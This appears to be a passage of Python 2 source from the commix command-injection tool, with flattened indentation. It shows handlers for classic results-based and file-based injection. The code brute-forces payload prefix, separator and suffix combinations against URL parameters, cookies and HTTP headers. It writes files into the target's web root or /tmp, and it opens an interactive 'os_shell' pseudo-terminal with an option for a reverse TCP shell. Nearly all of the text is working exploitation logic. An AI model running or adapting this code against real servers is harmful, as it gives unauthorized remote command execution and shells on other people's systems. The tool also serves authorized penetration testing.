cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp(
)
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(
)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(
separator,
http_request_method)
whitespace = settings.WHITESPACES[
0]
response = cb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
whitespace,
http_request_method,
url, vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
# Export injection result
if menu.options.verbose:
print ""
print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, output,
vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
#break
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "classic injection technique"
if not settings.LOAD_SESSION:
sys.stdout.write(settings.INFO_SIGN + "Testing the " + technique +
"... ")
sys.stdout.flush()
if menu.options.verbose:
print ""
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(
separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
if separator == " ":
payload = re.sub(" ", "%20", payload)
else:
payload = re.sub(" ", whitespace, payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = cb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = cb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = cb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(
payload, http_request_method, url)
# Evaluate test results.
shell = cb_injector.injection_test_results(
response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
sys.stdout.write("\r" +
settings.INFO_SIGN +
"Testing the " +
technique + "... " +
"[ " + float_percent +
"%" + " ]")
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
sys.stdout.write("\r" + settings.INFO_SIGN +
"Testing the " + technique +
"... " + "[ " + percent +
" ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not menu.options.verbose and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", re.sub("%2B", "+",
payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
delay=0,
how_long=0,
output_length=0,
is_vulnerable="True")
else:
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n" + settings.QUESTION_SIGN +
"Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
cb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename)
if not menu.file_access_options(
) and not menu.options.os_cmd:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
settings.QUESTION_SIGN +
"Do you want to access files again? [Y/n/q] > "
).lower()
if file_access_again in settings.CHOISE_YES:
cb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
cb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
cb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False:
if menu.options.verbose:
print ""
gotshell = raw_input(
settings.QUESTION_SIGN +
"Do you want a Pseudo-Terminal shell? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + settings.WARNING_SIGN + "You are already into the 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp(
)
if settings.REVERSE_TCP == False:
continue
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(
)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = cb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
whitespace,
http_request_method,
url, vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
if menu.options.verbose:
print ""
print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection to the target host has been failed!" + Style.RESET_ALL
else:
pass
else:
# Command execution results.
response = cb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
shell = "".join(
str(p) for p in shell)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
html_parser = HTMLParser.HTMLParser(
)
shell = html_parser.unescape(
shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if menu.options.verbose:
print ""
print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")
if not settings.LOAD_SESSION or settings.RETEST == True:
info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
print settings.print_info_msg(info_msg)
i = 0
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
# delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True :
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
while True:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
tmp_upload = sys.stdin.readline().replace("\n","").lower()
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
if settings.VERBOSITY_LEVEL >= 1:
print ""
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
